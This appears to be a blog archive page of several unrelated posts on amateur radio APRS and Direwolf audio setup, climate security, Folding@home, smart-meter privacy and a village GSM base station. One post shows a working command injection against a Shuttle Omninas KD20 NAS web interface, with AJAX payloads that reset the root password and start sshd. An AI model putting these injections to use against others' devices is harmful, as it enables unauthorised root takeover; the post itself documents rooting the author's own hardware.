amateur radio

direwolf speech espeak alsa resource busy

ugh. alsa!

Recently while working on a Microsat Ulari 7Watt VHF APRS device I found an issue with Direwolf and the ‘’ script. In my research I also noted Direwolf users on other platforms were also experiencing issues with Direwolf and espeak – in that case you may wish to skip down to the ‘.asoundrc’ section for Alsa specific information.

In the case of the Ulari Duo I found:

  • The ‘espeak-ng’ package needs to be installed
  • is not included in the direwolf packaging shipped with the distribution
  • Alsa needs a configuration tweak to enable ‘device sharing’ of the sound card.

To confirm the system is using alsa, use ‘arecord -l’ to list alsa devices. /dev/dsp should be missing too.

First, stop direwolf:

systemctl stop direwolf

now, espeak-ng needs to be installed:

apt-get update
apt-get install espeak-ng

next, you’ll need to place the following contents into /usr/bin/ (if it does not already exist as in the case with direwolf in the armbian packaging).

sleep 1
espeak -v en-sc "$msg"

and update /etc/direwolf.conf so that the following line is present:


Next I ran into ‘espeak’ being unable to access the sound device. The problem is that Alsa (by default) on this armbian distribution needs to be configured to have a slave ‘asymed’ plug otherwise I would encounter ‘device or resource busy’ errors due to Direwolf having exclusive access of the sound device.

Add to ~/.asoundrc:

pcm.dmixer {
    type dmix
    ipc_key 1024
    slave {
        pcm "hw:0,0"
        period_time 0
        period_size 1024
        buffer_size 8192
        rate 48000

    bindings {
        0 0
        1 1

pcm.asymed {
    type asym
    playback.pcm "dmixer"
    capture.pcm "hw:0,0"

pcm.dsp0 {
    type plug
    slave.pcm "asymed"

pcm.!default {
    type plug
    slave.pcm "asymed"

pcm.default {
    type plug
    slave.pcm "asymed"

ctl.mixer0 {
    type hw
    card 0

(Note that the ‘rate’ parameter must match the ‘ARATE’ setting in /etc/direwolf.conf).

Now either run direwolf by hand:

direwolf -c /etc/direwolf.conf -X 1

or start the daemon

systemctl start direwolf

And Voila! Direwolf can now call espeak to transmit speech!


Environmentalist Bill McKibben on national security implications of climate change

In this episode of Intelligence Matters, host Michael Morell interviews author and environmentalist Bill McKibben about the national security implications of climate change, including how current trends, if unchecked, could lead to future catastrophes. McKibben explains why taking certain actions immediately and for the next ten years is crucial in order to forestall mass migrations, crop shortages and deadly droughts. He shares his views on the troubling parallels between climate change and certain accelerating technologies like genetic modification. 


“because it sounds right”

Once in a while I think about how people learn. Being an explorer I enjoy continual learning through exploration. It’s one of the reasons I really enjoy R&D projects. But friends and I have talked over the years about why some people don’t seem as analytical, or perhaps – creative – in their thinking. I know for myself my mind will sometimes light up with a bunch of different views of what I’m processing, but I’ve never really understood “the why” of this.

As I’ve been getting older (hey, I’m 42 this year!), I’ve also been remembering experiences that were otherwise shelved into some deep filing cabinets. Today I remembered two:

  1. Finding the Code Red Worm
  2. How I used to annoy my english teachers

In the case of English class, “why” was usually “because it sounds right”. Never a good answer.

Code red was the same. “How did you know it was a worm?”. “Because it looked like one”.

I guess sometimes you just know.

Or don’t.


amateur radio


My first taste of Amateur Radio was in the early 90s – I have a ‘replacement’ operators certificate dated 1991, and maybe even one of my original yellow licenses from the Department of Communications kicking around in a box somewhere.

It’s been a while since I’ve messed around with amateur radio. I use APRS on and off for various reasons, but voice nets weren’t really of interest, and data networking was always pretty interesting to me. In the 90s I played around with AX.25 and even went to Vancouver Area Packet Organization meetings but as AX.25/IP gradually died out I found other interesting use cases in the ISM bands to play with.

QRP and digital modes have been on my radar for a while. One of these days I’ll get more into HF work, but lately I’ve been eyeballing the need for a new HT – and location tracking is pretty much mandatory. I’m not interested in spending a lot on an HT either and as a result, I’m eagerly awaiting my BTECH DMR-6×2 to mess with.

The thing does APRS over analog, and SMS over DMR intrigues me. Actually, 9600 bps over 2×6.5 Khz channels intrigues me – but that’s a post for another day.

In the mean time.. notes to self:


[email protected] Now More Powerful Than World’s Top 7 Supercomputers, Combined

Propelled by average enthusiasts in their shared quest to defeat COVID-19, the [email protected] network is now pushing out 470 PetaFLOPS of raw compute power. To put that in perspective, that’s twice as fast as Summit, the world’s fastest supercomputer, making the network faster than any known supercomputer. It’s also faster than the top seven supercomputers in the world, combined.


Tobias Engel: SS7: Locate. Track. Manipulate.


Getting root (and SSHD on boot) with the Shuttle Omninas KD20

I recently picked up a Shuttle Omninas KD20 on sale from NCIX.    It runs Linux, but sshd is disabled by default.  Thankfully it wasn’t too difficult to break in to.


The Storage -> Disk Manager page has an info button that calls smartctl -a.  It doesn’t check parameters passed by the page 

With the Disk Manager page loaded, open your Web Developer Console and run the following javascript commands:

(pastebin text version; thanks to scotty86 for the paste)



url: ‘’,

cache: false,

//data: “devName=sda”+$devName,

data: “devName=/dev/sd; (echo \”foobar\nfoobar\n\” | sudo passwd root) “,





# Changing the root password



url: ‘’,

cache: false,

//data: “devName=sda”+$devName,

data: “devName=/dev/sd; sudo /etc/rc.d/ start”,





# start sshd

With those simple little ajaxy functions I was able to access the device via ssh

login as: root
[email protected]′s password:
BusyBox v1.10.3 (2013-11-06 11:05:30 CST) built-in shell (ash)
Enter ‘help’ for a list of built-in commands.

Filesystem 1k-blocks Used Available Use% Mounted on
/dev/ram0 15863 2134 13729 13% /initrd
/dev/md0 201556 372 190948 0% /system
/dev/md1 1463634048 27294636 1436339412 2% /share/atonnas
OMNINAS-XYZZY> cd /proc/
OMNINAS-XYZZY> cat cpuinfo
Processor : ARMv6-compatible processor rev 5 (v6l)
processor : 0
BogoMIPS : 299.00

processor : 1
BogoMIPS : 299.82

Features : swp half thumb fastmult edsp java
CPU implementer : 0×41
CPU architecture: 7
CPU variant : 0×0
CPU part : 0xb02
CPU revision : 5

Hardware : Oxsemi NAS
Revision : 0000
Serial : 0000000000000000


It would be nice if Shuttle just enabled ssh by default though.  Pretty please?


Smart meter SSL screw-up reveals a bit to much information

The researchers said German firm Discovergy apparently allowed information gathered by its smart meters to travel over an insecure link to its servers. The information – which could be intercepted – apparently could be interpreted to reveal not only whether or not users happened to be at home and consuming electricity at the time but even what film they were watching, based on the fingerprint of power usage.


What if They Declared an Emergency and No One Came?

The Attawapiskat First Nation is in such a desire state that it has declared a state of emergency – but no level of Government or aid agency has come to their aid.  The local grade school shut down 12 years ago thanks to toxic contamination – 13 year old’s have had to step up to draw attention all the way from the United Nations.  Yet right next door is the De Beers Vector mine – the richest Diamond Mine in the Western World


Low Cost/Low-Power/DIY Cellular data network


Shareable recently covered a group of residents of Jalalabad, Afghanistan who built their own open-source wireless network from junk and everyday household items. For the less-industrious yet DIY-inclined, the Village Base Station (pdf) is a low-power, easy to deploy tool developed by Berkeley professor Kurtis Heimerl to create a GSM cellular data network in areas with limited power and network resources. MobileActive recently got their hands on a prototype and tested it in a large American city, and the results were promising. In a post about the experiment, they note the benefits of the Village Base Station:

…?exible off-the grid deployment due to low power requirements that enable local generation via solar or wind; explicit support for local services within the village that can be autonomous relative to a national carrier; novel power/coverage trade-offs based on intermittency that can provide bursts of wider coverage; and a portfolio of data and voice services (not just GSM).